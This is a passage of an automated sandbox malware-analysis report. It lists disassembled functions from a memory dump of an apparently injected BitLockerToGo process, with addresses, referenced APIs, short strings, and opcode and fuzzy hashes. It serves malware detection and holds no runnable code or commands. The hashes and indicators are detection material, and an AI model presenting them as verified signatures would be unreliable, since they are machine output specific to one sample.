pC, xrefs: 0040191A, 0040196F, 004019C2, 0040216D, 0040219A, 004023B4, 00402109, 00401F6A, 00401FDE, 00401A9E, 00401A3D

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: pC
API String ID: 0-3243261774
Opcode ID: 574da08263025c863fc81e17258f6b233000779a127d4f6a8fd6dde2277bc46f
Instruction ID: 3501948d1093f1ccc8919027da2af4e56de308c2a77b76b3e88da476325831ef
Opcode Fuzzy Hash: 574da08263025c863fc81e17258f6b233000779a127d4f6a8fd6dde2277bc46f
Instruction Fuzzy Hash: 2C323236A18155CFDB048F78E8A13EABBF2FB5A311F0D94B5C594A7391C3789A11CB60

Function 00418DE0 Relevance: 1.7, APIs: 1, Instructions: 242comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00437538,00000000,00000001,00437528), ref: 00418E09

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: c126ea52e41abcdf537dffc2eaa15039e53ec53821e06a353a35efc0c714d5e7
Instruction ID: dbd3fe38cfaa4226a639a52b0c31508c1615ca7e11cfb9631c6ddf9fb51003ba
Opcode Fuzzy Hash: c126ea52e41abcdf537dffc2eaa15039e53ec53821e06a353a35efc0c714d5e7
Instruction Fuzzy Hash: F251DEB06043049BDB209B24CC82BB733A5EF85768F18451DF985CB391EB79EC81C76A

Function 0041D752 Relevance: 1.7, Strings: 1, Instructions: 454COMMON

Download Yara Rule

Strings

RR\B, xrefs: 0041D831

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: RR\B
API String ID: 0-2711932943
Opcode ID: 1e20b469426e1a4ceba5f5a7e3675e1c810df3a59bdb86e527c7a8595ab23526
Instruction ID: f14b18b4a79cfa9ca343ee7ec572cd7cd5e9d592d1cac471305a352fa90a8de8
Opcode Fuzzy Hash: 1e20b469426e1a4ceba5f5a7e3675e1c810df3a59bdb86e527c7a8595ab23526
Instruction Fuzzy Hash: 1FF1B1F0D04159CBDB10CF94D9817EEBBB5EF0A305F1410A9D945BB282D738AE85CBA9

Function 0040FE01 Relevance: 1.6, Strings: 1, Instructions: 393COMMON

Download Yara Rule

Strings

f, xrefs: 0040FFA7

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: b0f1fc926167446acaac4da3e99b80a85f7f2709cf7c01e79fdef47d98a00730
Instruction ID: c58030209df7d731eea089703d19b28ea2457e08db768df7ec729ac128cd8fcc
Opcode Fuzzy Hash: b0f1fc926167446acaac4da3e99b80a85f7f2709cf7c01e79fdef47d98a00730
Instruction Fuzzy Hash: 21D1AF715083818FD325DF28D880B6BBBE5AF96304F14083EE5C597292D779E849CB9B

Function 00434450 Relevance: 1.6, Strings: 1, Instructions: 330COMMON

Download Yara Rule

Strings

s, xrefs: 00434606

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: s
API String ID: 0-3147937970
Opcode ID: ecf57e573b5fc541f758763ba077c3d1620c0e41c3ef035a3e602e2bfb990515
Instruction ID: 1339fb6671d6107eebceb272168648cff9d11f5deb80bdcc03f68ea5069bfc07
Opcode Fuzzy Hash: ecf57e573b5fc541f758763ba077c3d1620c0e41c3ef035a3e602e2bfb990515
Instruction Fuzzy Hash: A1B1CA35609250CFD308DF29D99026EF7E1EF8A314F09996EE9D687391C335E850CB8A

Function 00435280 Relevance: 1.4, Strings: 1, Instructions: 113COMMON

Download Yara Rule

Strings

@, xrefs: 004352E9

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: @
API String ID: 2994545307-2766056989
Opcode ID: f4a5180939e44455352e6b3c9d70b7816bbb708d60611c8bc677bd11ba4bf6a6
Instruction ID: a5682bf830ca451fa58c070332c6148cd93f711f5e7dd3592c8e132e8ec5e5ae
Opcode Fuzzy Hash: f4a5180939e44455352e6b3c9d70b7816bbb708d60611c8bc677bd11ba4bf6a6
Instruction Fuzzy Hash: 5331A7B15083009BC304DF58C480A6BFBF4EF99344F14992EE9D887391D379E908CB9A

Function 004312A0 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00431320

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: ca2e2d3f9dbe7b1c02bf2886896d2adadbd9faa3efc377fcad9bcc2f6bad57e8
Instruction ID: d6cfb4a75929a97e7e2e5279a909806e78228213a404230eb8b3ef2049e04bc8
Opcode Fuzzy Hash: ca2e2d3f9dbe7b1c02bf2886896d2adadbd9faa3efc377fcad9bcc2f6bad57e8
Instruction Fuzzy Hash: 6D11D370A0A2009BE710EF09C98072BB7A6EFD9745F24D96DD8C417325C736DC118B9A

Function 004089F0 Relevance: .8, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5d5ba58d177b2efed7c437b31354b62a6068d43b79562ecba9ddb20f987222b
Instruction ID: 1bb5ac5e92405edf3711af6a8adea0d532d113fbcb80973d60c4795d43a5a1c6
Opcode Fuzzy Hash: b5d5ba58d177b2efed7c437b31354b62a6068d43b79562ecba9ddb20f987222b
Instruction Fuzzy Hash: 4F42B2316087118BC724DF19E9406ABB3E2FFD4314F29893ED9D6A72C6DB389851CB46

Function 004043C0 Relevance: .7, Instructions: 699COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4d444bd8182008c255fbd0f545ff52ec6aff01cb1ed3b5e8ec2b240f7129dc6
Instruction ID: 1dad29aad54acd25d4310cb6e70577e6beb07201b1171edff6c09a3d3432341f
Opcode Fuzzy Hash: b4d444bd8182008c255fbd0f545ff52ec6aff01cb1ed3b5e8ec2b240f7129dc6
Instruction Fuzzy Hash: 3A52C4B15083459FCB14CF28C0806AABBE1BFC5314F198A7EE9D967391D378E945CB89

Function 00407EE0 Relevance: .7, Instructions: 670COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e788cf91381317cf902fa6ce946a8a22195d96aca10da25d0ea875a7f70ff504
Instruction ID: dbee27f4f789a82ec2d0898c85c8301794d5349229091a5fc1401105c725cc22
Opcode Fuzzy Hash: e788cf91381317cf902fa6ce946a8a22195d96aca10da25d0ea875a7f70ff504
Instruction Fuzzy Hash: C652C370908B848FE7348B24C5847A7BBE1AB91314F14487FC5D616BC3DBBDA885CB5A

Function 00431710 Relevance: .6, Instructions: 642COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b4d4f1c4a6c8b5be3b216847941817ca048b37479371689fa8a9f01bcdc37ab
Instruction ID: 1d85a61e6ea3b05af87b81c98041c101f84ccf86b328ad8fa112422beab000f0
Opcode Fuzzy Hash: 0b4d4f1c4a6c8b5be3b216847941817ca048b37479371689fa8a9f01bcdc37ab
Instruction Fuzzy Hash: 8C22D37060D3419FC315DF18C890B2BBBE1AF99344F189A2EE5D5873A2D739E805CB5A

Function 00404DE0 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d986370860ab6c0dfd3d7abd23b43ca2fc07bb1f8c1da0b09f5931cbbaca29a
Instruction ID: d926c3b81f73b32e26fca523edfef230be4d91f5ac0649e8f7730882ffb4df7f
Opcode Fuzzy Hash: 7d986370860ab6c0dfd3d7abd23b43ca2fc07bb1f8c1da0b09f5931cbbaca29a
Instruction Fuzzy Hash: EF320270514B118FC328CE29C69066BB7F1FF85710BA04A2ED6A797F90D77AB845CB18

Function 0041FACE Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d2f0218e0183fe4e8943e2f8d8c7ddd4a110546912419a9d4a3483cf56d30c9
Instruction ID: 372fac16e8b3b044b4cef8c4c98ef63bf704e103d82d74713b1a13331ae9af3e
Opcode Fuzzy Hash: 0d2f0218e0183fe4e8943e2f8d8c7ddd4a110546912419a9d4a3483cf56d30c9
Instruction Fuzzy Hash: 0CF16B701083018BD314DF18D8A1B6BB7F1FF96348F149A1EE5D64B3A1E3799886CB5A

Function 004096A0 Relevance: .4, Instructions: 416COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae11c406648a7fc180907c68c030f4ed208de1cb93c2465aee1efe5d11bb31ba
Instruction ID: 0a89089fcc7c80f52da5ee838649d9c67dada8c506e9a8c0c6c112cef45c9d07
Opcode Fuzzy Hash: ae11c406648a7fc180907c68c030f4ed208de1cb93c2465aee1efe5d11bb31ba
Instruction Fuzzy Hash: 28F18472A0C3519BC719CF18D56012BFBE1AF85720F15C95EF8DA67392D2389C058F86

Function 00406ED0 Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61d1cf4299b4eff69189087bfea1d47d681d875c67e5878a0836d40b0c0adaf8
Instruction ID: 300e058ca7008f0f2ab9a1c84f0cfc945f98d4e60c04c44ab2c6ebd24a3c2323
Opcode Fuzzy Hash: 61d1cf4299b4eff69189087bfea1d47d681d875c67e5878a0836d40b0c0adaf8
Instruction Fuzzy Hash: 1DE19D7160C3418FD720DF29C880A2BBBE1EF99300F44882DF9D597792E279E945CB96

Function 0041D290 Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 77197c083aaba09acb7c97d596386f64e84da716a19577bff98c620949bb0846
Instruction ID: d469a9fd099916641e7af45228ff83882ab6a3a046fbd980055a7f3d91aaf0f1
Opcode Fuzzy Hash: 77197c083aaba09acb7c97d596386f64e84da716a19577bff98c620949bb0846
Instruction Fuzzy Hash: 3EB1E2B0A083019BD714DF18D88076BB7E2EF95344F14492EE5D587392E339EC95CB9A

Function 0040F7AA Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b91d4c44556cc8df3f8bea8e089a9c93b73b58ccbbfb36ed220198aa31c1113
Instruction ID: 35214082d0261bd7c2f494b78c8d1fb33de92fba197aad1ad32d32c0602666cd
Opcode Fuzzy Hash: 5b91d4c44556cc8df3f8bea8e089a9c93b73b58ccbbfb36ed220198aa31c1113
Instruction Fuzzy Hash: FDC105B15083808BD325EF18C490B9FBBF5AF96304F140D2DE5C5972A1E3799855CB5B

Function 00407A30 Relevance: .3, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ca652540d8db80aba5fb45d79b5ff0e85d2d0de297b52b935d04befa145f5e
Instruction ID: fcd92f85f722d29771711bea71318d053ea312c67c8e3b98394ff2554a876c84
Opcode Fuzzy Hash: 62ca652540d8db80aba5fb45d79b5ff0e85d2d0de297b52b935d04befa145f5e
Instruction Fuzzy Hash: E3C169B29087418FC370CF28C856BABB7E1BF85318F08492ED5D9D7242E778A555CB46

Function 00435990 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7edb6f218e886a6e01bc6bb65624657daa914bb7fd8497a808306dccb7375cda
Instruction ID: 91351a6411eede8510a48e9d3e0c97131074af14a498c156a089917c32c58353
Opcode Fuzzy Hash: 7edb6f218e886a6e01bc6bb65624657daa914bb7fd8497a808306dccb7375cda
Instruction Fuzzy Hash: 2791CC746087029BC714EF18D890A2BB3F1FF89744F14A92DE8958B351E735EC51CB9A

Function 0041F011 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff9c01c7092060b18eebd3cc62698c9a4933d138d1c9060609220d9f63eb501
Instruction ID: fb4eb7b29ce90f0fcef1ffaaaf4482de166cb3ec6aa59cf67ea79cdd651bf6d2
Opcode Fuzzy Hash: aff9c01c7092060b18eebd3cc62698c9a4933d138d1c9060609220d9f63eb501
Instruction Fuzzy Hash: B3912C32908395CFD3208F38984139ABBE2FF8A310F19867DEAD4572A2D7759D49CB45

Function 004353C0 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4633380cb5aa9a01bdf42f3ee74d6af1fbad1056e992296935ac1758a20b516d
Instruction ID: d97e13e79fb54aed1778e4fde40f2130a8468fb4d013a40ce951b6bc77f4db98
Opcode Fuzzy Hash: 4633380cb5aa9a01bdf42f3ee74d6af1fbad1056e992296935ac1758a20b516d
Instruction Fuzzy Hash: 7181DF346083429FC310DF18C880A2BB7E2EF99755F58982EE4C987361D735EC51CB9A

Function 004356B0 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a95b333b5fdaa6ee9f999d9a8d966dfa84f83efb0328c793aefb6942ceee3045
Instruction ID: 9fe38513821a24b6b311f778e7176b17307aefb38c32e3ed557eac2ef6762773
Opcode Fuzzy Hash: a95b333b5fdaa6ee9f999d9a8d966dfa84f83efb0328c793aefb6942ceee3045
Instruction Fuzzy Hash: BC81F074A09712CBD718EF08D480A2BB7B2EF9C710F19992DE98547351E735EC10CB9A

Function 00431E80 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d665c50894058b7be49d7ad41d811bec6247424ecc8f2325b01fee071bbd6d65
Instruction ID: 262c1947903438a8028ad7c6927f73c7030088c0692acf88f520c2847163f278
Opcode Fuzzy Hash: d665c50894058b7be49d7ad41d811bec6247424ecc8f2325b01fee071bbd6d65
Instruction Fuzzy Hash: F891477020C3824FC315CF28C5D052AFBE2AF9A204F1886BEE5E54B353D639D805CB96

Function 00420980 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c674e0c62231f339c99bb2794b7516979f28c7009b980525353c599bf5cd72a3
Instruction ID: e19b87bc132a8fd02b36220eae86b80571f8f99a322e30f4a1b6eeafebd849d0
Opcode Fuzzy Hash: c674e0c62231f339c99bb2794b7516979f28c7009b980525353c599bf5cd72a3
Instruction Fuzzy Hash: 6461FA317083214BD7349E7DA88031BB7D26B95334F99872EE4B58B3E7D6749C418749

Function 0042C890 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6885a0fcfb0c9b86ad9a13744526bb8ccce4ab1cd58e6af8626791e033d60b52
Instruction ID: c34af04494c5c0d4b77374b85862130c5c4e1949dae62310d609942568345947
Opcode Fuzzy Hash: 6885a0fcfb0c9b86ad9a13744526bb8ccce4ab1cd58e6af8626791e033d60b52
Instruction Fuzzy Hash: 1C517DB16087548FE314DF69D49435FBBE1BBC8358F444A2EE4E987350E379DA088B86

Function 0041EDFE Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 527c3668166566409b45c37ef3e55825d1d0728ddb109cf1d2457d4d0fcca718
Instruction ID: aad32dcb9c3a8a820e8a9b0374286b62020eb445d873f12179b3becfe7bedaf9
Opcode Fuzzy Hash: 527c3668166566409b45c37ef3e55825d1d0728ddb109cf1d2457d4d0fcca718
Instruction Fuzzy Hash: 0351C3756083468BC718CF29C85066BB7E2BBC9314F18462DED99C73D1E738E941CB95

Function 0040FDEB Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c82857782c1a0f4b7849e84b8a33eb67cb3664aaba2aa5fc7f0a5f83cfdae9e
Instruction ID: 8fca4fa2c7a79be25c5ab868bfb8e5efea84f255277748ef6d2c9f30f6573229
Opcode Fuzzy Hash: 8c82857782c1a0f4b7849e84b8a33eb67cb3664aaba2aa5fc7f0a5f83cfdae9e
Instruction Fuzzy Hash: 5F5104B010C3808BD315EB18D494B5EFBF5EF96744F14082EE6C5972A2D33A9895CB2B

Function 00412FA0 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbbe1064c69938d65b486df3f59400410b0dc9d71aab55889668f724093733ba
Instruction ID: 8891c8d2870752da82ebbb0641bd333731553f3b48b7a9585822537ca2232749
Opcode Fuzzy Hash: dbbe1064c69938d65b486df3f59400410b0dc9d71aab55889668f724093733ba
Instruction Fuzzy Hash: 25413E725083049BC310DF28C8C07AFBBE4EF5A324F15462AE899873D1E77ADA84C756

Function 0040CF60 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4548d3ad510b1638899252ad9799f82c9f02534f1175fcb33bd1df4ea4193d1
Instruction ID: db6b4534b311c360e402e25fd942681088852c47a0ea67b92779693da48600f1
Opcode Fuzzy Hash: d4548d3ad510b1638899252ad9799f82c9f02534f1175fcb33bd1df4ea4193d1
Instruction Fuzzy Hash: DC41036272C3A14FC3188A7D88D022ABAD29B85224F19877EF0E6C77D1E678C546A715

Function 0042D070 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0219c1794d05dfc259d2be2a2b6352718cd38d8fee708d7bfc27eaba79a4984e
Instruction ID: d1c1eafd728b63fff57dfac31ac36773224f00f10da96fb63f99c76618ea0c88
Opcode Fuzzy Hash: 0219c1794d05dfc259d2be2a2b6352718cd38d8fee708d7bfc27eaba79a4984e
Instruction Fuzzy Hash: 6C212331B4C2244BC320AE18D84156BF3E1DBD5714F598A3ED4C883B50E27DE856C6C6

Function 00403290 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8c35eb948fee5ec14c360b0d226d1626b883ee1d8d8d56010a58535980c663
Instruction ID: c0981a52b7d0cb8d5434104da1c971853150875eb1de47fa77b41cb741ecef7f
Opcode Fuzzy Hash: 7d8c35eb948fee5ec14c360b0d226d1626b883ee1d8d8d56010a58535980c663
Instruction Fuzzy Hash: EE31B8316042009FD7149E59C88192BBBE5EFC4316F18897EE89AA73C1D739DE52CB4A

Function 00404000 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d8e5c53f138e107681432e6547af20e14252c468ecd117c758df3258f8e02a2
Instruction ID: de790ff34d6914aa2eafd1c16abe52be8c973ad01a7e734368bdcf606e5cddb4
Opcode Fuzzy Hash: 8d8e5c53f138e107681432e6547af20e14252c468ecd117c758df3258f8e02a2
Instruction Fuzzy Hash: 44112777B2A22257E350DE76ECD46176352EBCA31070A0535EF41F3382CA37E801D194

Function 00429540 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 76eb2d5c218abb0ece6d21c720d5e3d0066247a52ff6111daafc1c28480bd4e5
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 9111C633B051E50EC3178D3C9400565BFE31EA3234F99479AE4B89B2D2D6268DCA8359

Function 004208E0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1a4327b616145a8256732a63ef06c0a142c369d0753aa5bca23629272cb00c9
Instruction ID: 397dbd20b44f47fd2719dafe133febb14eefe144a2677e07e0f8d42000f8b59b
Opcode Fuzzy Hash: b1a4327b616145a8256732a63ef06c0a142c369d0753aa5bca23629272cb00c9
Instruction Fuzzy Hash: 1B015EF570031247E720AE55E4C172BA2E86B95748F58443EE80967383DBB9EC45CAA9

Function 00412F50 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403ce0395a76e7367b39ef8631922569626e7315a7180f21363b661612f16460
Instruction ID: 2a25a6b21c24641adecc788ac47e680a191516e763d9bba2631a51519f1e3b25
Opcode Fuzzy Hash: 403ce0395a76e7367b39ef8631922569626e7315a7180f21363b661612f16460
Instruction Fuzzy Hash: A4F05CB56041205BDF2289549CC0F77BBBCCB9B318F19042AF841D3242D1A55C81C3EE

Function 0042F6F0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: 7cefea67547448f036f9342b1c3dc58d3dbd4ab4406c5377188785d25d336abb
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 02D05E21608231469B648E19B400977F7F0EAC7B11BC9957FF982E3248D234DC45C2AD

Function 004278BE Relevance: 56.2, APIs: 1, Strings: 31, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0042796E

Strings

T, xrefs: 00427AFC
